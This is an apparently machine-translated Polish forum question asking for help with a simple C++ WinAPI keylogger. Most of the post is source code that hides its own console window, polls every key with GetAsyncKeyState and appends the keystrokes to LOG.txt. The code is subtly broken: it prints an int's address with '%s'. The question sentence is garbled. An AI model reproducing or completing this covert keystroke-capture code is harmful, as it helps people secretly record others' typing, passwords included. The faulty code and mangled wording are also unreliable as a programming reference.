Prosty keylogger C ++

Próbuję napisać prosty keylogger w C ++ przy użyciu WinAPI. Czy istnieje sposób, w jaki sposób użytkownik wpisuje przechwycone klawisze? A oto mój kod do tej pory:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

questionAnswers(2)

yourAnswerToTheQuestion